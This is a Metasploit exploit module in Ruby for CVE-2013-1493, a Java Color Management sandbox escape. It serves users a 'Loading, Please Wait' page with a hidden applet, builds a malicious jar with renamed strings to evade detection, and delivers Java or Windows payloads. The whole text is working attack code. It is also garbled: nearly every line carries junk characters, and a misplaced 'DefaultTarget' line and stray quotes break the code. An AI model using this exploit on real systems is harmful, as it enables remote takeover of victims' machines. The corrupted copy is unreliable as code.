##1 T; T# v$ J9 w, S7 K# l
) D) r6 P8 R9 G0 B v: l, {: R5 R. }; ^) V
# This file is part of the Metasploit Framework and may be subject to
0 e/ p" ~ U3 a0 ^' l% F# redistribution and commercial restrictions. Please see the Metasploit
7 ?: D# q: Z- t# web site for more information on licensing and terms of use.
. s: a- y* [8 a8 K# http://metasploit.com/
: a4 f7 \# D2 }( ]! {##
0 F/ X8 I7 C- f3 ]8 G4 Nrequire ‘msf/core’* {" g* \, j' L }
require ‘rex’6 B( @# [8 f% [4 Z+ |2 O" m( T
class Metasploit3 < Msf::Exploit::Remote
# a' ?! \- Z7 j% t% MRank = NormalRanking! T0 e/ O8 {1 Q' G& b
include Msf::Exploit::Remote::HttpServer::HTML
( E# f3 k$ {- f% l7 E4 Qinclude Msf::Exploit::EXE
3 J' J+ \* G$ h4 A2 O6 t7 xinclude Msf::Exploit::Remote::BrowserAutopwn! }# |" q$ Y0 c1 m+ E+ x
autopwn_info({ :javascript => false })8 @: W! W2 |' a8 U% ~" O
def initialize( info = {} )3 @* n! W0 T' D
super( update_info( info,
) u: x: E) W4 @6 d. D1 ]‘Name’ => ‘Java CMM Remote Code Execution’,8 U% r' [0 m6 F7 `) j
‘Description’ => %q{
4 O$ ]5 u7 T3 DThis module abuses the Color Management classes from a Java Applet to run/ [3 s# h) }3 h* e( K* i% E
arbitrary Java code outside of the sandbox as exploited in the wild in February
3 v) }- @% h+ p7 x% oand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
+ A" l5 K8 B3 H7 p! y/ V* B, v% land earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
1 B6 P- Y# F( Q' x' T( Nsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
1 D! ?- _0 e2 l: G; lwarning in order to run the malicious applet.
5 w ?1 K" x, \. A: D9 Y},
/ o3 f9 v. V: G‘License’ => MSF_LICENSE,
! B9 H/ o0 k4 m6 @2 K( h# C5 G‘Author’ =># L/ n2 X. _1 f3 Q3 I& p
'Unknown', # Vulnerability discovery and Exploit3 I* [# F( y1 e' a" _5 u
'juan vazquez' # Metasploit module (just ported the published exploit)1 t; U( u. j0 g: C P( B3 X
],# H+ ~2 y' x% S# C3 k$ ]2 q1 r
‘References’ =>
# |* k9 u5 k8 P! U[
; z$ z. V- {$ J[ 'CVE', '2013-1493' ],
4 z/ I3 l/ c) l5 I/ O[ 'OSVDB', '90737' ],
5 p. K$ ^4 c5 b, t x# x3 Y ^[ 'BID', '58238' ],
9 [. w! A; r8 q' g* u f3 X% v! t[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],3 f% U" m4 `/ O6 n4 {* R9 K1 t+ M6 B
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],5 U0 m6 D9 v: B6 d P/ M( S# A
[ 'URL', 'http://pastie.org/pastes/6581034' ]% f# x4 a F5 T4 N2 s- e7 s6 {
], l% c0 B7 q/ a1 Y
‘Platform’ => [ 'win', 'java' ],
1 T9 e( t% W- j) S- D* i‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },. W" R2 l, q. l; Q9 z( F' z
‘Targets’ =>
% s6 \7 E% q% F/ E: p[- z$ b3 x9 J2 {( j2 P8 U6 ^
[ 'Generic (Java Payload)',8 i4 E0 X! H9 H' ~* \- T
{
) C( }; D0 `4 ?! l" F/ \3 P'Platform' => 'java',
7 ?) D/ | D- B$ B2 @'Arch' => ARCH_JAVA
; H. [, G6 B) x" |6 L M}
! n0 J1 u3 n& I/ X],
6 W" i- k9 I: n* e9 c[ 'Windows x86 (Native Payload)',
" }2 k6 z$ l1 G# y+ s, n( @. z% U2 u{2 o: j7 B2 |+ w
'Platform' => 'win',$ ?9 I- U3 C& {) O/ S }
'Arch' => ARCH_X86
+ Q# d r0 }- b: E+ E+ | m}
9 q: T' _$ I e/ @/ f]
( L5 x3 j1 n1 X& H0 f3 E],: B# {" w, |. u
‘‘DisclosureDate’ => ‘Mar 01 2013′# q/ o5 [6 G/ ~5 n$ _2 {
))+ e6 L9 y) Z# d
end9 }" f C1 u, H% B3 ~% I
def setup
% k1 S/ j6 H- k2 a4 A" Lpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
! T7 h1 P/ v" v1 M) K3 M) x@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 {2 D+ t! I/ [# }2 xpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)$ W4 ^/ ~6 J+ q. K1 S! o
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 T6 Q2 S- a$ t( K
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)( c6 L1 C! Q. s' G
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 O& e: @& {- d
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)) c( f+ g" x, o4 I0 j; ^: @! a
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }7 e& f" ~5 F; V: E
@init_class_name = rand_text_alpha(“Init”.length)" a5 V/ }: {9 p* }
@init_class.gsub!(“Init”, @init_class_name)" a: _6 G! N r- J$ R$ p! Y
super6 k2 L, s8 c7 J) `( _; L
end7 B$ [9 M- C1 k* T5 V9 M+ t- N. I- j2 g
def on_request_uri(cli, request)
6 ?4 B3 r: F# ]: B- |% jprint_status(“handling request for #{request.uri}”)
* q6 B L7 h, V, p8 b+ kcase request.uri! \. a6 D6 K: r7 }" b2 s
when /\.jar$/i2 l% R& y3 v" [' j6 A4 q. X
jar = payload.encoded_jar2 |8 x1 v3 F/ g) f
jar.add_file(“#{@init_class_name}.class”, @init_class)
& O* T5 K; U7 r7 p9 Rjar.add_file(“Leak.class”, @leak_class)
# ~7 F9 r1 J: o' J3 E) fjar.add_file(“MyBufferedImage.class”, @buffered_image_class). Q: L$ i- [+ I$ @" U5 [3 H5 g1 F: G
jar.add_file(“MyColorSpace.class”, @color_space_class)
# j2 |5 h* i$ a! A, FDefaultTarget’ => 1,* |. ]4 f3 x4 Q2 C. m# l
metasploit_str = rand_text_alpha(“metasploit”.length)
( G( I4 _7 U: I9 C( ]5 P' s3 Xpayload_str = rand_text_alpha(“payload”.length)
4 E1 y' o+ a$ M0 k( `jar.entries.each { |entry|9 y3 |/ v7 p( Z7 l
entry.name.gsub!(“metasploit”, metasploit_str)) A0 o5 m3 e- U8 u- A# u
entry.name.gsub!(“Payload”, payload_str)
8 k, }3 ^3 M0 D" qentry.data = entry.data.gsub(“metasploit”, metasploit_str)
+ Q% Z: t1 r# c4 a' a9 g9 P8 zentry.data = entry.data.gsub(“Payload”, payload_str)
x0 n! w+ n( i}
& D U S5 t3 K+ V6 r6 Y5 i7 Hjar.build_manifest& H, X% I! q. c! \6 s2 q
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
3 Y8 T; ~. J/ I" ? N- b2 j7 P: jwhen /\/$/) H3 ` m; U# x% u
payload = regenerate_payload(cli)
- L- N2 N1 Y: B/ eif not payload# u+ f8 B6 ~: w7 _5 c9 q7 o
print_error(“Failed to generate the payload.”)
1 {, b( |% ~/ S: Q( [, |3 g. xsend_not_found(cli). y4 y$ P' h+ D0 A/ @; j8 Y
return2 y s- S$ ~; |+ Z2 w
end! H$ R6 C9 U' E1 N. Z0 _, Z
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })9 `% J o/ y4 _. K* w
else. g) T e3 I! q
send_redirect(cli, get_resource() + ‘/’, ”)
0 O+ @# t+ K wend% D; X: f% N0 t0 O
end( P, c1 L! X" t/ |
def generate_html
0 k0 z8 c# g7 phtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|/ j* d8 u" m+ l0 H4 x6 Y
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
2 E C, b( u3 B# {html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
( @) y3 x" {: x2 g5 o- n9 {! Fhtml += %Q|</applet></body></html>|
# L# y. {+ j2 l, v7 s- T" Qreturn html
8 }: X+ p* }, ^0 ^, eend; h! f: m' z! l" M, M2 z ]
end, e2 U& r1 O% B. g: H3 ?
end
$ V8 l) Q1 H$ d4 x. E+ a7 A |